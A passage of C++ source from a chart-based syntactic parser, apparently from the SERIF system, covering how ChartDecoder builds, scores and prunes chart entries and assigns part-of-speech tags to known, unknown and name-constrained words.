ParserTags::nullSymbol,\r\n\t\t\t    /*SignificantConstitNode =*/ significantConstitNode,\r\n\t\t\t    // for PP attachment:\r\n\t\t\t    /*isPPofSignificantConstit =*/ (LanguageSpecificFunctions::isPPLabel(kernels[i].constituentCategory) && right),\r\n\t\t\t    /*kernelOp =*/ &kernels[i],\r\n\t\t\t    /*isPreterminal =*/ false);\r\n\t\t\tscoreKernel(entry);\r\n\t\t\taddTheory(entry);\r\n\t\t}\r\n\t\tKernelKey key2(BRANCH_DIRECTION_LEFT, rightEntry->constituentCategory,\r\n\t\t\tleftEntry->constituentCategory, leftEntry->headTag);\r\n\t\tkernels = kernelTable->lookup(key2, numKernels);\r\n\t\tfor (int j = 0; j < numKernels; j++) {\r\n\t\t\tbool left = scOracle->isSignificant(leftEntry, kernels[j].modifierChain);\r\n\t\t\tbool right = scOracle->isSignificant(rightEntry, kernels[j].headChain);\r\n\t\t\tSignificantConstitNode *significantConstitNode = \r\n\t\t\t\t_new SignificantConstitNode(left, \r\n\t\t\t\tleftEntry->significantConstitNode, leftEntry->leftToken,\r\n\t\t\t\tleftEntry->rightToken, right, rightEntry->significantConstitNode, \r\n\t\t\t\trightEntry->leftToken, rightEntry->rightToken);\r\n\t\t\tChartEntry* entry = _new ChartEntry(\r\n\t\t\t    /*constituentCategory =*/ kernels[j].constituentCategory,\r\n\t\t\t    /*headConstituent =*/ kernels[j].headChainFront,\r\n\t\t\t    /*headWord =*/ rightEntry->headWord,\r\n\t\t\t    /*headIsSignificant =*/ rightEntry->headIsSignificant,\r\n\t\t\t    /*headTag =*/ rightEntry->headTag,\r\n\t\t\t    /*leftEdge =*/ kernels[j].modifierChainFront,\r\n\t\t\t    /*leftTag =*/ leftEntry->headTag,\r\n\t\t\t    /*leftWord =*/ leftEntry->headWord,\r\n\t\t\t    /*rightEdge =*/ ParserTags::adjSymbol,\r\n\t\t\t    /*rightTag =*/ rightEntry->headTag,\r\n\t\t\t    /*rightWord =*/ rightEntry->headWord,\r\n\t\t\t    /*leftChild =*/ leftEntry,\r\n\t\t\t    /*rightChild =*/ rightEntry,\r\n\t\t\t    /*leftToken =*/ leftEntry->leftToken,\r\n\t\t\t    /*rightToken =*/ rightEntry->rightToken,\r\n\t\t\t    /*nameType =*/ ParserTags::nullSymbol,\r\n\t\t\t    /*SignificantConstitNode =*/ significantConstitNode,\r\n\t\t\t    /*isPPofSignificantConstit =*/ false,\r\n\t\t\t    /*kernelOp =*/ &kernels[j],\r\n\t\t\t    /*isPreterminal =*/ false);\r\n\t\t\tscoreKernel(entry);\r\n\t\t\taddTheory(entry);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid ChartDecoder::addExtensionTheories(ChartEntry* leftEntry,\r\n    ChartEntry* rightEntry)\r\n{\r\n\tif (rightClosable) {\r\n\t\tExtensionKey key1(BRANCH_DIRECTION_RIGHT, leftEntry->constituentCategory,\r\n\t\t\tleftEntry->headConstituent, rightEntry->constituentCategory,\r\n\t\t\tleftEntry->rightEdge, rightEntry->headTag);\r\n\t\tint numExtensions;\r\n\t\tBridgeExtension* extensions = extensionTable->lookup(key1, numExtensions);\r\n\t\tfor (int i = 0; i < numExtensions; i++) {\r\n\t\t\tbool right = scOracle->isSignificant(rightEntry, extensions[i].modifierChain);\r\n\t\t\tSignificantConstitNode *significantConstitNode = \r\n\t\t\t\t_new SignificantConstitNode(false, \r\n\t\t\t\tleftEntry->significantConstitNode, 0,0,\r\n\t\t\t\tright, rightEntry->significantConstitNode, \r\n\t\t\t\trightEntry->leftToken, rightEntry->rightToken);\r\n\t\t\tChartEntry* entry = _new ChartEntry(\r\n\t\t\t    /*constituentCategory =*/ leftEntry->constituentCategory,\r\n\t\t\t    /*headConstituent =*/ leftEntry->headConstituent,\r\n\t\t\t    /*headWord =*/ leftEntry->headWord,\r\n\t\t\t    /*headIsSignificant =*/ leftEntry->headIsSignificant,\r\n\t\t\t    /*headTag =*/ leftEntry->headTag,\r\n\t\t\t    /*leftEdge =*/ leftEntry->leftEdge,\r\n\t\t\t    /*leftTag =*/ leftEntry->leftTag,\r\n\t\t\t    /*leftWord =*/ leftEntry->leftWord,\r\n\t\t\t    /*rightEdge =*/ extensions[i].modifierChainFront,\r\n\t\t\t    /*rightTag =*/ rightEntry->rightTag,\r\n\t\t\t    /*rightWord =*/ rightEntry->rightWord,\r\n\t\t\t    /*leftChild =*/ leftEntry,\r\n\t\t\t    /*rightChild =*/ rightEntry,\r\n\t\t\t    /*leftToken =*/ leftEntry->leftToken,\r\n\t\t\t    /*rightToken =*/ rightEntry->rightToken,\r\n\t\t\t    /*nameType =*/ ParserTags::nullSymbol,\r\n\t\t\t    /*significantConstitNode =*/ significantConstitNode,\r\n\t\t\t    // for PP attachment\r\n\t\t\t    /*isPPofSignificantConstit =*/ (LanguageSpecificFunctions::isPPLabel(leftEntry->constituentCategory) && right),\r\n\t\t\t    /*extensionOp =*/ &extensions[i],\r\n\t\t\t    /*isPreterminal =*/ false);\r\n\t\t\tscoreExtension(entry);\r\n\t\t\taddTheory(entry);\r\n\t\t}\r\n\t}\r\n\tif (leftClosable) {\r\n\t\tExtensionKey key2(BRANCH_DIRECTION_LEFT, rightEntry->constituentCategory,\r\n\t\t\trightEntry->headConstituent, leftEntry->constituentCategory,\r\n\t\t\trightEntry->leftEdge, leftEntry->headTag);\r\n\t\tint numExtensions;\r\n\t\tBridgeExtension* extensions = extensionTable->lookup(key2, numExtensions);\r\n\t\tfor (int j = 0; j < numExtensions; j++) {\r\n\t\t\tbool left = scOracle->isSignificant(leftEntry, extensions[j].modifierChain);\r\n\t\t\tSignificantConstitNode *significantConstitNode = \r\n\t\t\t\t_new SignificantConstitNode(left, \r\n\t\t\t\tleftEntry->significantConstitNode, leftEntry->leftToken,\r\n\t\t\t\tleftEntry->rightToken, false, rightEntry->significantConstitNode, \r\n\t\t\t\t0,0);\r\n\t\t\tChartEntry* entry = _new ChartEntry(\r\n\t\t\t    /*constituentCategory =*/ rightEntry->constituentCategory,\r\n\t\t\t    /*headConstituent =*/ rightEntry->headConstituent,\r\n\t\t\t    /*headWord =*/ rightEntry->headWord,\r\n\t\t\t    /*headIsSignificant =*/ rightEntry->headIsSignificant,\r\n\t\t\t    /*headTag =*/ rightEntry->headTag,\r\n\t\t\t    /*leftEdge =*/ extensions[j].modifierChainFront,\r\n\t\t\t    /*leftTag =*/ leftEntry->leftTag,\r\n\t\t\t    /*leftWord =*/ leftEntry->leftWord,\r\n\t\t\t    /*rightEdge =*/ rightEntry->rightEdge,\r\n\t\t\t    /*rightTag =*/ rightEntry->rightTag,\r\n\t\t\t    /*rightWord =*/ rightEntry->rightWord,\r\n\t\t\t    /*leftChild =*/ leftEntry,\r\n\t\t\t    /*rightChild =*/ rightEntry,\r\n\t\t\t    /*leftToken =*/ leftEntry->leftToken,\r\n\t\t\t    /*rightToken =*/ rightEntry->rightToken,\r\n\t\t\t    /*nameType =*/ ParserTags::nullSymbol,\r\n\t\t\t    /*significantConstitNode =*/ significantConstitNode,\r\n\t\t\t    /*isPPofSignificantConstit =*/ false,\r\n\t\t\t    /*extensionOp =*/ &extensions[j],\r\n\t\t\t    /*isPreterminal =*/ false);\r\n\t\t\tscoreExtension(entry);\r\n\t\t\taddTheory(entry);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nnamespace {\r\n\ttemplate <typename T> struct pointer_values_equal\r\n\t{\r\n\t\tconst T* to_find;\r\n\t\tbool operator()(const T* other) const\r\n\t\t{ return *to_find == *other; }\r\n\t};\r\n}\r\n\r\nvoid ChartDecoder::addTheory(ChartEntry* chartEntry)\r\n{\r\n    if (chartEntry->rankingScore <= -10000) {\r\n\t\t\t//cout << \"deleting \" << chartEntry->significantConstitNode << endl;\r\n\t\t\tdelete chartEntry;\r\n      return;\r\n    }\r\n\r\n\t// Check if we already have this chartEntry.\r\n    pointer_values_equal<ChartEntry> eq = { chartEntry };\r\n    ChartEntry** match = std::find_if(theories, theories+numTheories, eq);\r\n\r\n    if (match != (theories+numTheories)) {\r\n\r\n#ifdef PARSER_FAST_FLOATING_POINT_COMPARISON\r\n      if (chartEntry->rankingScore > (*match)->rankingScore) \r\n#else\r\n      if (__fcmp (chartEntry->rankingScore, \r\n\t\t  (*match)->rankingScore) > 0) \r\n#endif\r\n\t{\r\n            delete (*match);\r\n            (*match) = chartEntry;\r\n            return;\r\n        } else {\r\n\t\t\tdelete chartEntry;\r\n            return;\r\n        }\r\n    }\r\n    if (numTheories < maxEntriesPerCell) {\r\n        theories[numTheories++] = chartEntry;\r\n        return;\r\n    }\r\n    int lowestScoring = 0;\r\n    for (int j = 1; j < numTheories; j++) {\r\n#ifdef PARSER_FAST_FLOATING_POINT_COMPARISON\r\n        if (theories[j]->rankingScore < theories[lowestScoring]->rankingScore)\r\n#else\r\n        if (__fcmp (theories[j]->rankingScore,\r\n\t\t    theories[lowestScoring]->rankingScore) < 0)\r\n#endif\r\n            lowestScoring = j;\r\n    }\r\n\r\n#ifdef PARSER_FAST_FLOATING_POINT_COMPARISON\r\n    if (chartEntry->rankingScore > theories[lowestScoring]->rankingScore) \r\n#else\r\n    if (__fcmp(chartEntry->rankingScore,\r\n\t       theories[lowestScoring]->rankingScore) > 0)\r\n#endif\r\n      {            \r\n        delete theories[lowestScoring];\r\n        theories[lowestScoring] = chartEntry;\r\n        return;\r\n    } else {\r\n        delete chartEntry;\r\n        return;\r\n    }\r\n}\r\n\r\nvoid ChartDecoder::transferTheoriesToChart(int start, int end)\r\n{\r\n    if (numTheories == 0) {\r\n\t\treturn;\r\n    }\r\n\r\n    int highestScoring = 0;\r\n    for (int i = 1; i < numTheories; i++) {\r\n#ifdef PARSER_FAST_FLOATING_POINT_COMPARISON\r\n        if (theories[i]->rankingScore > theories[highestScoring]->rankingScore)\r\n#else\r\n        if (__fcmp (theories[i]->rankingScore,\r\n\t\t    theories[highestScoring]->rankingScore) > 0)\r\n#endif\r\n            highestScoring = i;\r\n    }\r\n    float threshold = theories[highestScoring]->rankingScore + lambda;\r\n    int j = 0;\r\n    for (int k = 0; k < numTheories; k++) {\r\n\t\t// boundaries should already be checked, but just in case, check\r\n\t\t// against maxEntriesPerCell\r\n        if (\r\n#ifdef PARSER_FAST_FLOATING_POINT_COMPARISON\r\n\t    theories[k]->rankingScore > threshold \r\n#else\r\n\t    __fcmp (theories[k]->rankingScore, threshold) > 0\r\n#endif\r\n\t    && j < maxEntriesPerCell) {\r\n            chart[start][end - 1][j++] = theories[k];\r\n        } else {\r\n\t\t\tdelete theories[k];\r\n        }\r\n    }\r\n    chart[start][end - 1][j] = 0;\r\n}\r\n\r\nvoid ChartDecoder::initChart(Symbol* sentence, int length,\r\n\t\t\t\t\t\t\t std::vector<Constraint> & constraints,\r\n\t\t\t\t\t\t\t const PartOfSpeechSequence* pos_constraints)\r\n{\r\n\tbool name_word[maxSentenceLength];\r\n\tfor (int i = 0; i < length; i++) {\r\n\t\tname_word[i] = false;\r\n\t\tpossiblePunctuationOrConjunction[i] = false;\r\n\t}\r\n\tBOOST_FOREACH(Constraint constraint, constraints) {\r\n\t\tint left = constraint.left;\r\n\t\tint right = constraint.right;\r\n\t\tconst Symbol &type = constraint.type;\r\n\t\tEntityType entityType = constraint.entityType;\r\n\t\tif (left >= MAX_SENTENCE_LENGTH ||\r\n\t\t\t  right >= MAX_SENTENCE_LENGTH) \r\n\t\t\t  continue;\r\n\t\tif (type.is_null())\r\n\t\t\tcontinue;\r\n\t\t// nested names get handled as a post-process\r\n\t\tif (type == ParserTags::NESTED_NAME_CONSTRAINT)\r\n\t\t\tcontinue;\r\n\t\t// heads have to be only one word!\r\n\t\tif (type == ParserTags::HEAD_CONSTRAINT && left != right)\r\n\t\t\tcontinue;\r\n\t\tfor (int k = left; k <= right; k++) {\r\n\t\t\tname_word[k] = true;\r\n\t\t}\r\n\t\taddConstraintEntry(left, right, sentence, type, entityType);\r\n\t}\r\n\tfor (int m = 0; m < length; m++) {\r\n\t\tif (!name_word[m]){\r\n\t\t\tinitChartWord(sentence[m], m, m == 0, pos_constraints);\r\n\r\n\t\t}\r\n\t}\r\n\t\r\n\t\r\n}\r\n\r\nvoid ChartDecoder::addConstraintEntry(int left, int right,\r\n\t\t\t\t\t\t\t\t\t  Symbol* sentence, const Symbol &type, EntityType entityType) {\r\n\t\r\n\tSymbol word = sentence[right];\r\n\tconst Symbol* tags;\r\n\tint numTags;\r\n\tbool is_unknown_word = false;\r\n\tif (vocabularyTable->find(word)) {\r\n\t\ttags = partOfSpeechTable->lookup(word, numTags);\r\n\t} else {\r\n\t\tis_unknown_word = true;\r\n\t\tword = wordFeatures->features(sentence[right], 0);\r\n\t\ttags = partOfSpeechTable->lookup(word, numTags);\r\n\t\tif (numTags == 0) {\r\n\t\t\tword = wordFeatures->reducedFeatures(sentence[right], 0);\r\n\t\t\ttags = partOfSpeechTable->lookup(word, numTags);\r\n\t\t}\r\n\t}\r\n\t\r\n\t// EMB 03/10/04:\r\n\t// head constraints: we just want these to be heads of NPs, so we try to constrain \r\n\t// the tag options for the headword\r\n\t// one-word core npas: we want to contrain the tag options the same way, except\r\n\t// we want to set the entry->nameType field, so they become their own node\r\n\t// even if the parser screws up\r\n\t// \r\n\tint index = 0;\r\n\tChartEntry *entry;\r\n\tif (type == ParserTags::HEAD_CONSTRAINT || type == LanguageSpecificFunctions::getCoreNPlabel()) \r\n\t{\r\n\t\tfor (int k = 0; k < numTags; k++) {\r\n\t\t\tconst Symbol &tag = tags[k];\r\n\t\t\tif (index < maxEntriesPerCell && \r\n\t\t\t\tLanguageSpecificFunctions::isNPtypePOStag(tag))\r\n\t\t\t{\r\n\t\t\t\tentry = _new ChartEntry();\r\n\t\t\t\tif (type == ParserTags::HEAD_CONSTRAINT)\r\n\t\t\t\t\tentry->nameType = ParserTags::nullSymbol;\r\n\t\t\t\telse entry->nameType = type;\r\n\t\t\t\tfillWordEntry(entry, tag, word, sentence[right], left, right);\r\n\t\t\t\tchart[left][right][index++] = entry;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (index == 0) {\r\n\t\t\tfor (int k = 0; k < numTags; k++) {\r\n\t\t\t\tconst Symbol &tag = tags[k];\r\n\t\t\t\tif (index < maxEntriesPerCell)\r\n\t\t\t\t{\r\n\t\t\t\t\tentry = _new ChartEntry();\r\n\t\t\t\t\tif (type == ParserTags::HEAD_CONSTRAINT)\r\n\t\t\t\t\t\tentry->nameType = ParserTags::nullSymbol;\r\n\t\t\t\t\telse entry->nameType = type;\r\n\t\t\t\t\tfillWordEntry(entry, tag, word, sentence[right], left, right);\r\n\t\t\t\t\tchart[left][right][index++] = entry;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tchart[left][right][index] = 0;\r\n\t\treturn;\r\n\t} else if (type == ParserTags::DATE_CONSTRAINT) {\r\n\t\tfor (int k = 0; k < numTags; k++) {\r\n\t\t\tconst Symbol &tag = tags[k];\r\n\t\t\tif (index < maxEntriesPerCell) {\r\n\t\t\t\tentry = _new ChartEntry();\r\n\t\t\t\tentry->nameType = LanguageSpecificFunctions::getDateLabel();\r\n\t\t\t\tfillWordEntry(entry, tag, word, sentence[right], left, right);\r\n\t\t\t\tchart[left][right][index++] = entry;\r\n\t\t\t}\r\n\t\t}\r\n\t\tchart[left][right][index] = 0;\r\n\t\treturn;\r\n\t}\r\n\t\r\n\t// REVISED CURRENT STRATEGY (JCS 2/2/04)\r\n\t// Primary, secondary and default tags (and default name words) can optionally be specified \r\n\t// by EntityType.  Otherwise, fall back on the original defaults in LanguageSpecificFunctions.\r\n\t//\r\n\t// CURRENT STRATEGY (EMB 3/31/03)\r\n\t// for known words, pick up all primary or secondary tags and let the parser decide what's best\r\n\t// for unknown words, only pick up primary tags\r\n\t//\r\n\t// NOTE: If we continue to expand the set of things we want to use this for (in\r\n\t// particular, non-named entities), we should make the LanguageSpecificFunctions \r\n\t// functions used here be particular to the type of tag: clearly, nuclear substances \r\n\t// should have different primary/secondary/default tags than person names. \r\n\t// For now, though, we just hope for the best.\r\n\t\r\n\tfor (int k = 0; k < numTags; k++) {\r\n\t\tconst Symbol &tag = tags[k];\r\n\t\tif (index < maxEntriesPerCell && \r\n\t\t\t(LanguageSpecificFunctions::isPrimaryNamePOStag(tag, entityType) ||\r\n\t\t\t (!is_unknown_word &&\r\n\t\t\t  LanguageSpecificFunctions::isSecondaryNamePOStag(tag, entityType))))\r\n\t\t{\r\n\t\t\tentry = _new ChartEntry();\r\n\t\t\tentry->nameType = type;\r\n\t\t\tfillWordEntry(entry, tag, word, sentence[right], left, right);\r\n\t\t\tchart[left][right][index++] = entry;\r\n\t\t}\r\n\t}\r\n\r\n\r\n\t// if we can't get a tag we want for this word, we are going to set the word to an unknown\r\n\t// vector that will. This way the parse won't fragment on account of the name. \r\n\t// Specifically, we set the word to the feature vector of getDefaultNameWord().\r\n\tif (index == 0 && !LanguageSpecificFunctions::getDefaultNameWord(DECODER_TYPE, entityType).is_null()) {\r\n\t\tword = wordFeatures->features(LanguageSpecificFunctions::getDefaultNameWord(DECODER_TYPE, entityType), false);\r\n\t\ttags = partOfSpeechTable->lookup(word, numTags);\r\n\t\tfor (int k = 0; k < numTags; k++) {\r\n\t\t\tconst Symbol &tag = tags[k];\r\n\t\t\tif (index < maxEntriesPerCell &&\r\n\t\t\t\t(LanguageSpecificFunctions::isPrimaryNamePOStag(tag, entityType)))\r\n\t\t\t{\r\n\t\t\t\tentry = _new ChartEntry();\r\n\t\t\t\tentry->nameType = type;\r\n\t\t\t\tfillWordEntry(entry, tag, word, sentence[right], left, right);\r\n\t\t\t\tchart[left][right][index++] = entry;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t// if no default name word or no primary tags fit the default name word, just add this in,\r\n\t// but be aware that this WILL fragment the parse\r\n\tif (index == 0) {\r\n\t\tentry = _new ChartEntry();\r\n\t\tentry->nameType = type;\r\n\t\tfillWordEntry(entry, LanguageSpecificFunctions::getDefaultNamePOStag(entityType), word, \r\n\t\t\tsentence[right], left, right);\r\n\t\tchart[left][right][index++] = entry;\r\n\t}\r\n\r\n\tchart[left][right][index] = 0;\r\n\r\n}\r\n\r\n\r\n\r\n\r\nvoid ChartDecoder::initChartWord(Symbol word, int chartIndex, bool firstWord, \r\n\t\t\t\t\t\t\t\t const PartOfSpeechSequence* pos_constraints)\r\n{\r\n\tint numTags = 0;  \r\n\tint tmpNumTags = 0;\r\n\tbool lcTags = false; // this means: I used tags generated from the lowercase word\r\n\tbool usedModelLc = false; // this means: I actually want to use the lowercase word in the model\r\n\tconst Symbol* tags;\r\n\tSymbol good_tags[MAX_TAGS_PER_WORD];\r\n\tconst Symbol* tmp_tags;\r\n\tSymbol collected_tags[MAX_TAGS_PER_WORD];\r\n\tSymbol selectedTags[MAX_TAGS_PER_WORD];\r\n\tint n_good_tags = 0;\r\n\tSymbol originalWord = word;\r\n\tSymbol lcword; \r\n\tint n_allowed_pos = 0;\r\n\tPartOfSpeech* allowed_pos = 0;\r\n\tif((pos_constraints != 0) && (chartIndex < pos_constraints->getNTokens())){\r\n\t\tallowed_pos = pos_constraints->getPOS(chartIndex);\r\n\t\tn_allowed_pos= allowed_pos->getNPOS();\r\n\t}\r\n\r\n\tif (vocabularyTable->find(word)) {\r\n\t\ttags = partOfSpeechTable->lookup(word, numTags);\r\n\t} else {\r\n\t\tlcword = SymbolUtilities::lowercaseSymbol(word);\r\n\r\n\t\tword = wordFeatures->features(originalWord, firstWord);\r\n\t\ttags = partOfSpeechTable->lookup(word, numTags);\r\n\t\tif (numTags == 0) { \r\n\t\t\tword = wordFeatures->reducedFeatures(originalWord, firstWord);\r\n\t\t\ttags = partOfSpeechTable->lookup(word, numTags);\r\n\t\t}\r\n\r\n\t\t// All of the following if statements overrule the word-feature\r\n\t\t// lookup that was just performed...\r\n\r\n\t\tif (lowerCaseForUnknown && firstWord && vocabularyTable->find(lcword)){\r\n\t\t\ttmp_tags = partOfSpeechTable->lookup(lcword, tmpNumTags);\r\n\t\t\tif (tmpNumTags > 0) { \r\n\t\t\t\tlcTags = true;\r\n\t\t\t\tusedModelLc = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (!lcTags){  //try auxiliary table, which is all lowercased\r\n\t\t\ttmp_tags = auxPartOfSpeechTable->lookup(lcword, tmpNumTags);\r\n\t\t\tif (tmpNumTags > 0) {\r\n\t\t\t\t// If the auxiliary table was generated by the same model\r\n\t\t\t\t// as being used here, there will always be overlap.\r\n\t\t\t\t// But if not, it's not guaranteed, and restricting to the\r\n\t\t\t\t// tags in the auxiliary table could force your whole parse to fragment!\r\n\t\t\t\tbool found_overlap = false;\r\n\t\t\t\tfor (int t1 = 0; t1 < tmpNumTags; t1++) {\r\n\t\t\t\t\tfor (int t2 = 0; t2 < numTags; t2++) {\r\n\t\t\t\t\t\tif (tmp_tags[t1] == tags[t2]) {\r\n\t\t\t\t\t\t\tfound_overlap = true;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tlcTags = found_overlap;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (lcTags){// lc ploy worked, now add the proper noun option if needed\r\n\t\t\tbool needsNNP = (lcword.to_string()[0] != originalWord.to_string()[0]);\r\n\t\t\tconst Symbol &symbolNNP = LanguageSpecificFunctions::getProperNounLabel();\r\n\t\t\tif (needsNNP){\r\n\t\t\t\tfor (int ti=0; ti<tmpNumTags; ti++){\r\n\t\t\t\t\tcollected_tags[ti] = tmp_tags[ti];\r\n\t\t\t\t\tif (tmp_tags[ti] == symbolNNP){\r\n\t\t\t\t\t\tneedsNNP = false;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (needsNNP){\r\n\t\t\t\tcollected_tags[tmpNumTags] = symbolNNP;\r\n\t\t\t\ttmpNumTags++;\r\n\t\t\t\ttags = collected_tags;\r\n\t\t\t}else{\r\n\t\t\t\ttags = tmp_tags;\r\n\t\t\t\tif (usedModelLc) word = lcword;\r\n\t\t\t}\r\n\t\t\tnumTags = tmpNumTags;\r\n\t\t} else if (constrainKnownNounsAndVerbs) {\r\n\t\t\t\r\n\t\t\t// This is only implemented in English right now, and uses WordNet\r\n\t\t\tbool is_known_noun = LanguageSpecificFunctions::isKnownNoun(lcword);\r\n\t\t\tbool is_known_verb = LanguageSpecificFunctions::isKnownVerb(lcword);\r\n\r\n\t\t\tif (is_known_noun && !is_known_verb) {\r\n\t\t\t\t// only remove all verb tags if we can find a noun tag\r\n\t\t\t\tfor (int t = 0; t < numTags; t++) {\r\n\t\t\t\t\tif (LanguageSpecificFunctions::isNounPOS(tags[t])) {\r\n\t\t\t\t\t\tSessionLogger::info(\"SERIF\") << \"Removing verb tags for \" << lcword.to_debug_string() << \"\\n\";\r\n\t\t\t\t\t\tint nseltags = 0;\r\n\t\t\t\t\t\tfor (int t = 0; t < numTags; t++) {\r\n\t\t\t\t\t\t\tif (!LanguageSpecificFunctions::isVerbPOS(tags[t]))\r\n\t\t\t\t\t\t\t\tselectedTags[nseltags++] = tags[t];\t\t\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tnumTags = nseltags;\r\n\t\t\t\t\t\ttags = selectedTags;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (is_known_verb && !is_known_noun && !LanguageSpecificFunctions::isPotentialGerund(word)) {\r\n\t\t\t\t// only remove all noun tags if we can find a verb tag\r\n\t\t\t\tfor (int t = 0; t < numTags; t++) {\r\n\t\t\t\t\tif (LanguageSpecificFunctions::isVerbPOS(tags[t])) {\r\n\t\t\t\t\t\tSessionLogger::info(\"SERIF\") << \"Removing noun tags for \" << lcword.to_debug_string() << \"\\n\";\r\n\t\t\t\t\t\tint nseltags = 0;\r\n\t\t\t\t\t\tfor (int t = 0; t < numTags; t++) {\r\n\t\t\t\t\t\t\tif (!LanguageSpecificFunctions::isNounPOS(tags[t]))\r\n\t\t\t\t\t\t\t\tselectedTags[nseltags++] = tags[t];\t\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tnumTags = nseltags;\r\n\t\t\t\t\t\ttags = selectedTags;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif (restrictedPosTagsSize > 0){\r\n\t\t\tif (numTags == 0){\r\n\t\t\t\ttags = restrictedPosTags;\r\n\t\t\t\tnumTags = restrictedPosTagsSize;\r\n\t\t\t}else if (numTags >= restrictedPosTagsSize){\r\n\t\t\t\tint nseltags = 0;\r\n\t\t\t\tfor (int ir=0; ir<restrictedPosTagsSize; ir++){\r\n\t\t\t\t\tfor (int ti=0; ti<numTags; ti++){\r\n\t\t\t\t\t\tif (tags[ti] == restrictedPosTags[ir]){\r\n\t\t\t\t\t\t\tselectedTags[nseltags++] = restrictedPosTags[ir];\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tnumTags = nseltags;\r\n\t\t\t\ttags = selectedTags;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t}\r\n\r\n\tSymbol ignored_tags[MAX_TAGS_PER_WORD];\r\n\tint n_ignored = 0;\r\n\tfor(int i = 0; i< numTags; i++){\r\n\t\tbool found = false;\r\n\t\tfor(int j =0; j< n_allowed_pos; j++){\r\n\t\t\tconst Symbol &label = LanguageSpecificFunctions::convertPOSTheoryToParserPOS(allowed_pos->getLabel(j));\r\n\t\t\tif(label == tags[i]){\r\n\t\t\t\tfound = true;\r\n\t\t\t\tgood_tags[n_good_tags++] = tags[i];\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(!found){\r\n\t\t\tignored_tags[n_ignored++] = tags[i];\r\n\t\t}\r\n\t\t\r\n\t}\r\n\t/*\r\n\t//debugging print statements\r\n\tstd::cout<<\"n_allowed_pos: \"<<n_allowed_pos<<\" for index \"<<chartIndex<<\" -\\t found \"<<n_good_tags<<\" for \"<<numTags<<\" original pos labels\"<<std::endl;\r\n\tif((n_good_tags == 0) && (n_allowed_pos > 0)){\r\n\t\tstd::cout<<\"orig_word: \"<<originalWord.to_debug_string()<<\" used word: \"<<word.to_debug_string()<<\" \\t\";\r\n\t\tstd::cout<<\"Alowed:     \";\r\n\t\tfor(int j =0; j< n_allowed_pos; j++){\r\n\t\t\tstd::cout<<allowed_pos->getLabel(j).to_debug_string()<<\",   \";\r\n\t\t}\r\n\t\tstd::cout<<std::endl;\r\n\t\tstd::cout<<\"Parser:     \";\r\n\t\tfor(int j =0; j< numTags; j++){\r\n\t\t\tstd::cout<<tags[j].to_debug_string()<<\",   \";\r\n\t\t}\r\n\t\tstd::cout<<std::endl;\r\n\t}\r\n\telse if((n_allowed_pos != 0) &&(n_good_tags < numTags)){\r\n\t\tstd::cout<<\"removed tags for orig_word: \"<<originalWord.to_debug_string()<<\" used word: \"<<word.to_debug_string()<<\" \\t\";\r\n\t\tfor(int i =0; i< n_ignored; i++){\r\n\t\t\tstd::cout<<ignored_tags[i].to_debug_string()<<\",   \";\r\n\t\t}\r\n\t\tstd::cout<<\" with allowed tags: \";\r\n\t\tfor(int j =0; j< n_allowed_pos; j++){\r\n\t\t\tstd::cout<<allowed_pos->getLabel(j).to_debug_string()<<\",   \";\r\n\t\t}\r\n\t\tstd::cout<<std::endl;\r\n\t}\r\n*/\r\n\t//some part of speech tags were matched, some were filtered\r\n\tif((n_good_tags > 0) && (n_good_tags < numTags) ){\r\n\t\ttags = good_tags;\r\n\t\tnumTags = n_good_tags;\r\n\t}\r\n\r\n\t/*\r\n\t//this is how constraints worked for the SB parsing experiments, a word was reduced to its features\r\n\t//if its pos tag wasn't known.  For Serif, we want to go with what the parser thinks, mrf\r\n\tSymbol constrained_tag_array[1];\r\n\tbool found_tag = false;\r\n\tSymbol replacement_word = word;\r\n\tif((allowed_pos != 0)\r\n\t\t&& (allowed_pos->getNPOS() == 1)){\r\n\t\tSymbol pos = allowed_pos->getLabel(0);\r\n\t\tfor(int i = 0; i<numTags; i++){\r\n\t\t\tif(tags[i] == pos){\r\n\t\t\t\tfound_tag = true;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(!found_tag){\r\n\t\t\tconst Symbol* othertags;\r\n\t\t\tint nother = 0;\r\n\t\t\tSymbol features = wordFeatures->features(originalWord, firstWord);\r\n\t\t\tothertags = partOfSpeechTable->lookup(features, nother);\r\n\t\t\tfor(int i=0; i< nother; i++){\r\n\t\t\t\tif(othertags[i] == pos){\r\n\t\t\t\t\tfound_tag = true;\r\n\t\t\t\t\treplacement_word = features;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(!found_tag){\r\n\t\t\tconst Symbol* othertags;\r\n\t\t\tint nother = 0;\r\n\t\t\tSymbol features = wordFeatures->reducedFeatures(originalWord, firstWord);\r\n\t\t\tothertags = partOfSpeechTable->lookup(features, nother);\r\n\t\t\tfor(int i=0; i< nother; i++){\r\n\t\t\t\tif(othertags[i] == pos){\r\n\t\t\t\t\tfound_tag = true;\r\n\t\t\t\t\treplacement_word = features;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(found_tag){\r\n\t\t\tconstrained_tag_array[0] = pos;\r\n\t\t\ttags = constrained_tag_array;\r\n\t\t\tnumTags = 